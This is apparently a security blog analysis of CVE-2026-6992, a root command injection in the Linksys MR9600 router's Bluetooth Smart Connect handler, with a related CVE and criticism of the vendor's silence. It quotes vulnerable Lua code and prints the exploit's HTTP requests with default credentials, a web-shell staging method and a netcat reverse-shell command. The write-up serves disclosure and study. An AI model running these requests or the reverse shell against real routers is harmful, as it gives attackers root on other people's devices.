//nefariousplan

CVE-2026-6992: Linksys's Smart Connect Pin Is a Shell Argument

pattern

cve

proof of concept

The PoC for CVE-2026-6992 is not a repository. It is a GitHub Issue, filed on the researcher's personal staging tracker beside Issue #1, another Linksys MR9600 command injection from the same researcher, filed four weeks earlier. Both CVE records carry the same closing sentence: The vendor was contacted early about this disclosure but did not respond in any way. The Lua handler that produces this CVE checks the radio mode, the busy state, and an in-progress flag before reaching the shell. None of the three checks reads the input.

Three checks ask whether the request is asking the right question. None reads the answer.

btsmartconnect.lua is the JNAP handler. The function the wire names is the same name in source:

function _M.btRequestGetSmartConnectStatus(sc, input)
    sc:readlock()

    local mode = sc:get_smartmode()
    if not bluetooth.isCentral(mode) then
        return 'ErrorBTUnsupportedMode'
    end

    if bluetooth.btCheckCentralWorking() then
        return 'ErrorBTCentralAlreadyWorking'
    end

    local status = sc:get_btgetsmartconnectstatus_status()
    if status == 'Running' then
        return 'ErrorBTGetSmartConnectStatusRequestIsAlreadyInProgress'
    end

    local ret = bluetooth.btGetSmartConnectStatus2(input.pin)
    if not ret then
        return 'ErrorBTRequestFailed'
    end

    return nil
end

The handler acquires a read lock. It fetches the smart mode and refuses if the radio is not in Central role. It refuses again if a central operation is already running. It refuses a third time if a previous status request has not completed. Each refusal returns a uniquely named error. The author thought carefully about which requests were legitimate.

The only line in the function that reads input.pin is the one that passes it to bluetooth.btGetSmartConnectStatus2. There is no length check, no character-set check, no type check. The handler did not assume the input was safe. The handler assumed the input was not its job.

The sink is io.popen. The shell script is downstream of the sink.

bluetooth.lua holds the next layer of the chain:

_M.RUN_CENTRAL2_CMD = '/etc/init.d/run_central2.sh %s &'

local function btRunCentralCommand2(option, value)
    assert(option)

    local requestId
    local command = option

    if value then
        command = command..' '..value
    end

    local file = io.popen(_M.RUN_CENTRAL2_CMD:format(command))
    if file then
        requestId = file:read()
        file:close()
    else
        return nil
    end

    return requestId
end

function _M.btGetSmartConnectStatus2(pin)
    return btRunCentralCommand2('-s', pin)
end

value is the pin. command becomes the literal string -s <pin>. RUN_CENTRAL2_CMD:format(command) substitutes that string into the template and yields one final string. io.popen hands that string to popen(3), which executes it through /bin/sh -c. The shell parses the string before the init script ever runs.

A pin of a; ls / > /tmp/x; # produces this command line:

/bin/sh -c '/etc/init.d/run_central2.sh -s a; ls / > /tmp/x; # &'

The shell reads three statements. The first runs the init script with the literal argument a. The second runs ls / > /tmp/x. The third is a comment, which suppresses the trailing & the Lua template would otherwise have placed at the end of the line. The injected payload therefore runs in the foreground; the harmless init script no longer detaches.

The init script the io.popen targets has a second bug. From /etc/init.d/run_central2.sh:

#!/bin/sh
REQUEST_ID=$$_$(date -u +%s)
OPTION="$1 $2"
...
/usr/bin/btsetup_central $OPTION > $OUTFILE 2>/dev/null

OPTION concatenates the two positional arguments. The line that runs btsetup_central expands $OPTION without quotes. A pin reaching the script as $2 containing shell metacharacters would inject a second time, into a second shell. Two interpreters, one above and one below.

The CVE description names /etc/init.d/run_central2.sh as the affected file. On that reading the natural patch is to quote $OPTION and call it done. Quoting $OPTION closes the second sink and leaves the first one open. The first sink is io.popen taking a single concatenated string. Lua's io.popen is a one-string API; the call always invokes sh -c. Closing the first sink means giving up on io.popen at this site and reaching for a fork-and-exec wrapper that takes an argument vector. Neither change has been made. Neither file has been touched since the firmware shipped.

The PoC is two requests. The credentials are the device default.

The published exploit is a Python script in utmost3/cve issue #2. It authenticates with Basic YWRtaW46YWRtaW4=, the base64 of admin:admin. The script will not work against a device whose owner has changed the password. The author chose those credentials because the device ships with them and many deployments never change them.

The first request switches the device to Master mode. The handler's first guard returns ErrorBTUnsupportedMode when the radio is in any other role:

POST /JNAP/
X-JNAP-Action: http://linksys.com/jnap/nodes/smartmode/SetDeviceMode
X-JNAP-Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json

{"mode": "Master"}

The second request carries the payload. The pin stages a CGI shell on the device's web root:

POST /JNAP/
X-JNAP-Action: http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectStatus
X-JNAP-Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json

{"pin": "a; <stager>; #"}

<stager> is a sequence of echo ... >> /www/ui/1.0.99.206937/static/shell.cgi writes that assembles a CGI script reading commands off stdin and dispatching them through /bin/sh -c. After the stager finishes, the PoC stops authenticating through JNAP entirely. It POSTs commands to http://target:8080/ui/1.0.99.206937/static/shell.cgi and reads their stdout off the response body. The reverse shell is one command through the new channel:

rm -f /tmp/.btsh
mkfifo /tmp/.btsh
/bin/sh -i </tmp/.btsh 2>&1 | /usr/bin/nc <LHOST> <LPORT> >/tmp/.btsh &

The shell runs as root. io.popen was called from the lighttpd worker, which runs as root on this firmware. The web root, the JNAP API surface, and the init scripts all share that uid.

The CVSS vector says PR:H. The vector measures what the specification requires. The deployment measures what the device actually requires. Linksys ships the MR9600 with admin:admin and the management UI on the LAN. A device that has never been touched by its owner is, for this CVE's purposes, unauthenticated.

Issue #1 is the same shape four weeks earlier.

The same researcher filed issue #1 on March 8, 2026: CVE-2026-4558, command injection in SmartConnect.lua's smartConnectConfigure handler. The vulnerable code is a single line:

os.execute('smcdb_cli update -s '..input.configApSsid..' -p '..input.configApPassphrase..' -l '..input.srpLogin..' -a '..input.srpPassword)

Four parameters concatenated into a shell string and handed to os.execute. The shape is the same as btRequestGetSmartConnectStatus: a JNAP handler reads named fields off the request body and pours them through string concatenation into a shell call. The device is the same. The firmware version is the same. The researcher is the same. The vendor is the same.

Both CVE records carry the same closing sentence: The vendor was contacted early about this disclosure but did not respond in any way.

This is the Design Debt Driver shape in JNAP form, the same architecture reNgine ships as command-injection-by-default in Python. Each Lua action module on the MR9600 reads input fields and concatenates them into a shell command handed to os.execute or io.popen. The functions are named for the domain they operate on: Bluetooth, Smart Connect, configuration, status. The sinks are all the shell. There is no shared sanitizer module that any of these handlers import. Each module is its own copy of the same antipattern.

The two affected modules live next to each other in /usr/local/lib/lua/5.1/. CVE-2026-4558 names SmartConnect.lua. CVE-2026-6992 names btsmartconnect.lua. They are independent files implementing different JNAP action categories, and the same researcher walked from one to the other in four weeks. The pattern in this codebase is not a property of either file. It is a property of the directory: every Lua action module on the device is allowed to construct a shell command from its inputs, and the firmware's lighttpd configuration grants every one of them root.

The two CVEs are the two the researcher chose to file. The next instance is whichever handler the next researcher reads.

The vendor's silence is on the record.

The CVE record is the public document of how Linksys handled both disclosures. Both records carry the same factual claim: contacted early, no response. Neither carries a vendor advisory link. Neither carries a fixed-version reference. The MR9600 firmware download page serves 2.0.6.206937 as the current build. Both CVE assignments arrived through a CNA that documents vendor non-response by routine; the wording is boilerplate because the experience is.

The researcher's choice of GitHub Issues as the publication venue is itself a fact about the case. Issues are not how exploit disclosures are typically routed; repositories are. The researcher used Issues twice, on the same personal repository, because the artifact under disclosure was no longer just the PoC. The analysis sits in the Issue body. The receipt that would normally close the analysis, an acknowledgment, a CVE-assignment confirmation from the vendor, a patch reference, is missing in both cases because Linksys did not write back.

A vendor that does not respond to a researcher is not the same thing as a vendor that has decided a bug does not warrant a fix. The first is process. The second is judgment. The CVE record does not tell the reader which one Linksys has performed, and the CVE record is the only document that exists. Linksys's decision to leave the record at that is also a position.

The MR9600 launched in 2020. It retailed near four hundred dollars as a Wi-Fi 6 flagship. It is still sold by major retailers. The default admin password is the same as it was at launch. The setup wizard permits a configuration in which the JNAP API is reachable on the LAN with the shipped credentials. The owner of the device has no notification channel through which Linksys would tell them either CVE exists.

The substrate the CVEs come from is the JNAP architectural decision to let every privileged action be a Lua handler that concatenates input into a shell command. Patches against that substrate would have to come from Linksys.

PoC: utmost3/cve issue #2

The pin is not a pin. The pin is a shell argument. Linksys has not said otherwise.